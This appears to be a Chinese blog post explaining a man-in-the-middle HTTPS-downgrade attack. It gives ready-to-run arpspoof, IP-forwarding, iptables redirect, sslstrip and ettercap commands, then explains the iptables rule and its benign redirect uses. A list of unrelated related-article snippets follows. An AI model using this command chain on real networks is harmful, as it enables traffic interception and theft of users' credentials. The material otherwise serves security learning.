当前位置: 首页 > news >正文

中间人攻击(https降级攻击)和iptables命令分析

中间人攻击

以下是一个简单的中间人攻击示例,结合 ARP 欺骗和流量修改:

1. 进行 ARP 欺骗

首先,使用 arpspoof 进行 ARP 欺骗,将受害者的流量重定向到攻击者的机器上:

sudo arpspoof -i eth0 -t 172.29.144.50 172.29.144.1
2. 启用 IP 转发

确保 IP 转发已启用,以便攻击者可以将流量转发到真正的目标(如网关):

echo "net.ipv4.ip_forward = 1" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
3. 使用 iptables 进行流量重定向

使用 iptables 将流量重定向到攻击者的机器上,并进行修改:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4. 使用 sslstrip 进行 HTTPS 降级攻击

sslstrip 是一个工具,可以将 HTTPS 流量降级为 HTTP 流量,从而捕获和修改敏感信息:

sudo sslstrip -l 8080
5. 使用 ettercap 进行更复杂的中间人攻击

ettercap 是一个功能更强大的工具,可以进行 ARP 欺骗、DNS 欺骗、流量捕获和修改等:

sudo ettercap -T -q -i eth0 -M arp:remote /172.29.144.1// /172.29.144.50//

  iptables 是 Linux 上用于配置防火墙的工具,允许用户设置许多规则来过滤和转发网络流量。你提到的命令用于配置流量重定向,下面是对该命令的详细解释:

iptables 命令分析

命令如下:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
各部分解释
  1. sudo:

    • 以超级用户(root)权限运行命令,因为配置 iptables 需要管理员权限。
  2. iptables:

    • 调用 iptables 工具来设置防火墙规则。
  3. -t nat:

    • 指定使用 NAT(网络地址转换)表。NAT 表用于处理 IP 地址映射和修改,主要用于路由和流量重定向。
  4. -A PREROUTING:

    • -A 表示"追加"一条规则。PREROUTING 链在数据包到达路由决策之前进行处理的地方。这意味着在数据包被路由到具体的网络接口或主机之前,系统会检查这条链中的规则。
  5. -p tcp:

    • 指定协议类型为 TCP。这意味着此规则仅适用于 TCP 流量。
  6. --destination-port 80:

    • 指定目标端口为 80,即 HTTP 流量通常使用的端口。此规则将匹配所有目的端口为 80 的 TCP 流量。
  7. -j REDIRECT:

    • -j 是“跳转”的意思,指定当流量匹配上述条件时的后续操作。REDIRECT 表示将匹配到的数据包重定向到本机的某个端口,而不是发往原始目标。
  8. --to-port 8080:

    • 指定重定向的目标端口为 8080。这表示所有到达 80 端口的流量会被重定向到本机的 8080 端口。

功能与应用

该命令用于将流量从一个端口重定向到另一个端口的功能。在这个具体的示例中,它的作用如下:

  • 重定向 HTTP 流量:当有 TCP 流量到达本机的 80 端口(例如,浏览器发起的 HTTP 请求),这条命令会将请求重定向到本机的 8080 端口。
  • 实现中间人攻击:在进行 ARP 欺骗的情况下,攻击者可以通过重定向将 HTTP 流量转发到他们控制的服务,从而拦截、修改或者分析请求和响应。这对于降级攻击(例如将 HTTPS 降级为 HTTP)特别有用。

例子

        假设你在运行一个简单的 HTTP 代理服务器或 Web 服务器,正在监听 8080 端口。如果攻击者成功执行了 ARP 欺骗,同时使用了这个 iptables 规则,当用户尝试访问某个网站(例如, http://example.com),请求将以 HTTP 的形式到达 80 端口,然后被重定向到本机的 8080 端口。

        在使用 iptables 进行流量重定向时,你不仅可以将流量从端口 80 重定向到本机的 8080 端口,还可以将其重定向到任何其他有效的网络地址和端口组合。以下是其他重定向目标示例:

  1. 重定向到另一个本地端口
    你可以将流量重定向到本机上的任何其他监听端口。例如,如果你有一个服务在端口 8888 上运行,你可以使用以下命令将流量从端口 80 重定向到端口 8888:

    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888
    
  2. 重定向到另一台机器
    如果你想将流量重定向到网络中的另一台机器,你可以使用 DNAT(目标网络地址转换)规则。例如,如果你想将所有到达端口 80 的流量重定向到 IP 地址 192.168.1.100 的端口 8080,你可以使用以下命令:

    sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080
    

    请注意,为了使这种重定向工作,你的机器需要能够路由到目标 IP 地址,并且目标机器需要在指定的端口上监听。

  3. 重定向到多个目标
    虽然单条 iptables 规则不能直接将流量分散到多个目标,但你可以通过配置多个规则或使用负载均衡软件来实现这一点。例如,你可以创建两个规则,每个规则将一部分流量重定向到不同的端口或机器。

  4. 基于条件的重定向
    你还可以根据更复杂的条件来重定向流量,例如源 IP 地址、目的 IP 地址范围、时间等。这需要使用更高级的 iptables 规则集和匹配条件。

  5. 重定向到 VPN 或代理服务器
    如果你运行一个 VPN 服务或代理服务器,你可以将流量重定向到这些服务,以便对流量进行进一步的加密、解密或路由。

  6. 重定向到蜜罐系统
    在网络安全领域,蜜罐(Honeypot)是一种故意设置为诱饵的系统,用于吸引和捕获攻击者的活动。你可以将可疑的流量重定向到蜜罐系统以进行分析和监控。

相关文章:

中间人攻击(https降级攻击)和iptables命令分析

中间人攻击 以下是一个简单的中间人攻击示例,结合 ARP 欺骗和流量修改: 1. 进行 ARP 欺骗 首先,使用 arpspoof 进行 ARP 欺骗,将受害者的流量重定向到攻击者的机器上: sudo arpspoof -i eth0 -t 172.29.144.50 172…...

开源生活-分布式管理

开源竞争(当自己没有办法彻底掌握一门技术的时候就彻底开源掉;培养出更多的依赖,让更多人帮助你完善你的技术,那么这不就是在砸罐子吗?一个行业里面总会有人先砸罐子的,你不如先砸罐子,还能听个…...

华为OD机试真题- 关联子串

该专栏题目包含两部分: 100 分值部分题目 200 分值部分题目 所有题目都会陆续更新,订阅防丢失 题目描述: 给定两个字符串str1和str2,如果字符串str1中的字符,经过排列组合后的字符串中,只要有一个字符串是…...

云智慧完成华为原生鸿蒙系统的适配, 透视宝 APM 为用户体验保驾护航

2024 年 10 月 22 日,首个国产移动操作系统 —— 华为原生鸿蒙操作系统 HarmonyOS NEXT 正式面世,成为继 iOS 和 Android 后的全球第三大移动操作系统。HarmonyOS NEXT,从系统内核、数据库根基,到编程语言创新、AI(人工…...

QT 多语言转换 ts、qm

QT开发之路 企业级开发系列文章,主要目标快速学习、完善、提升 相关技能 高效完成企业级项目开发 分享在企业中积累的实用技能和经验。 通过具体的编码过程、代码示例、步骤详解、核心内容和展示的方法解决遇到的实际问题。 阅读前声明 本系列文章属于付费内容 禁止…...

C++学习:类和对象(二)

一、默认成员函数 1. 什么是默认成员函数? 在C中,每个类都有一些特殊的成员函数,如果程序员没有显式地声明,编译器会自动为类生成这些函数,这些函数称为默认成员函数 2. 默认成员函数列表 默认构造函数&#xff08…...

深度学习(五):语音处理领域的创新引擎(5/10)

一、深度学习在语音处理中的崛起 在语音处理领域,传统方法如谱减法、维纳滤波等在处理复杂语音信号时存在诸多局限性。这些方法通常假设噪声是平稳的,但实际噪声往往是非平稳的,导致噪声估计不准确。同时,为了去除噪声&#xff0…...

双曲函数(Hyperbolic functuons)公式

在python等语言里有双曲函数库和反双曲函数库,但是并没有包含所有的双曲函数。以numpy为例子,numpy只提供了sinh、cosh、tanh、arcsinh、arccosh、arctanh六种函数,那么其余的就需要用公式计算了。 转换公式 对于函数库不能直接计算的&#…...

【CSS/SCSS】@layer的介绍及使用方法

目录 基本用法layer 的作用与优点分离样式职责,增强代码可读性和可维护性防止无意的样式冲突精确控制样式的逐层覆盖提高复用性 兼容性实际示例:使用 import 管理加载顺序实际示例:混入与 layer 结合使用 layer 是 CSS 中用于组织和管理样式优…...

我为什么投身于青少年AI编程?——打造生态圈(三)

第五部分 青少年AI编程生态圈 一、生态圈 主要涵盖家庭、社区/中小学、高校高职、主管部门。 1、家庭 我们与社区/中小学一道打造让家长满意的模式。 教得好: 费用少: 家门口: 2、社区/中小学 社区党群服务中心和中小学都有大面积科普…...

出海要深潜,中国手机闯关全球化有了新标杆

经济全球化的大势之下,中国科技企业开拓海外市场已成为一种必然选择。 对于国内手机企业来说,推进全球商业版图扩张,业务潜力巨大,海外市场是今后的关键增长引擎。 当前中国手机厂商在海外市场的发展,有收获也有坎坷…...

百度SEO中的关键词密度与内容优化研究【百度SEO专家】

大家好,我是百度SEO专家(林汉文),在百度SEO优化中,关键词密度和关键词内容的优化对提升页面排名至关重要。关键词的合理布局与内容的质量是确保网页在百度搜索结果中脱颖而出的关键因素。下面我们将从关键词密度和关键…...

如何用fastapi集成pdf.js 的viewer.html ,并支持 mjs

fastapi 框架 集成pdf.js 的 viewer.html?file=***,支持跨域,支持.mjs .wasm .pdf 给出完整示例代码 要在 FastAPI 框架中集成 pdf.js 的 viewer.html,并支持跨域访问以及 .mjs、.wasm、.pdf 文件的正确加载,可以按照以下步骤进行。下面提供一个完整的示例,包括项目结构…...

文件相对路径与绝对路径

前言: 在写代码绘制图像的过程中,发现出现cant read input file的异常,而且输出框没有绘制图片,所以寻找解决方案。先贴上之前写的简洁版绘制图像代码 1.BackGround类 import java.awt.image.BufferedImage;public class BackG…...

Linux 重启命令全解析:深入理解与应用指南

Linux 重启命令全解析:深入理解与应用指南 在 Linux 系统中,掌握正确的重启命令是确保系统稳定运行和进行必要维护的关键技能。本文将深入解析 Linux 中常见的重启命令,包括功能、用法、适用场景及注意事项。 一、reboot 命令 功能简介 re…...

【北京迅为】《STM32MP157开发板嵌入式开发指南》-第六十七章 Trusted Firmware-A 移植

iTOP-STM32MP157开发板采用ST推出的双核cortex-A7单核cortex-M4异构处理器,既可用Linux、又可以用于STM32单片机开发。开发板采用核心板底板结构,主频650M、1G内存、8G存储,核心板采用工业级板对板连接器,高可靠,牢固耐…...

`a = a + b` 与 `a += b` 的区别

在 Java 中,a a b 和 a b 都用于将 b 的值加到 a 上,但它们之间存在一些重要的区别,尤其是在类型转换和操作行为方面。 使用 操作符时,Java 会自动进行隐式类型转换,而使用 则不会。这意味着在 a b 的情况下&am…...

mysqld.log文件过大,清理后不改变所属用户

#1024程序员节# 一、背景 突然有一天,我的mysql报磁盘不足了。仔细查看才发现,是磁盘满了。而MySQL的日志文件占用了91个G.如下所示: [roothost-172-16-14-128 mysql]# ls -lrth 总用量 93G -rw-r----- 1 mysql mysql 1.1G 7月 30 2023 m…...

v4.7+版本用户充值在交易统计中计算双倍的问题修复

app/services/statistic/TradeStatisticServices.php 文件中 $whereInRecharge[recharge_type] no_system; $whereInRecharge[recharge_type] system; app/model/user/UserRecharge.php 中 修改此搜索器内容 public function searchRechargeTypeAttr($query, $value){ if…...

[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)

知识点: 命令执行 linux空格绕过 反引号绕过 变量绕过 base64编码绕过 打开页面提示 "听说php可以执行系统函数?我来康康" 然后输入框内提示输入 bjut.edu.cn 输入之后回显信息,是ping 这个网址的信息 输入127.0.0.1 因为提示是命令…...

TDengine 快速体验(Docker 镜像方式)

简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...

关于nvm与node.js

1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...

解锁数据库简洁之道:FastAPI与SQLModel实战指南

在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持,不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

汇编常见指令

汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

深度学习习题2

1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...

JS设计模式(4):观察者模式

JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中&#xff0…...

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...

毫米波雷达基础理论(3D+4D)

3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文&#xff1a; 一文入门汽车毫米波雷达基本原理 &#xff1a;https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...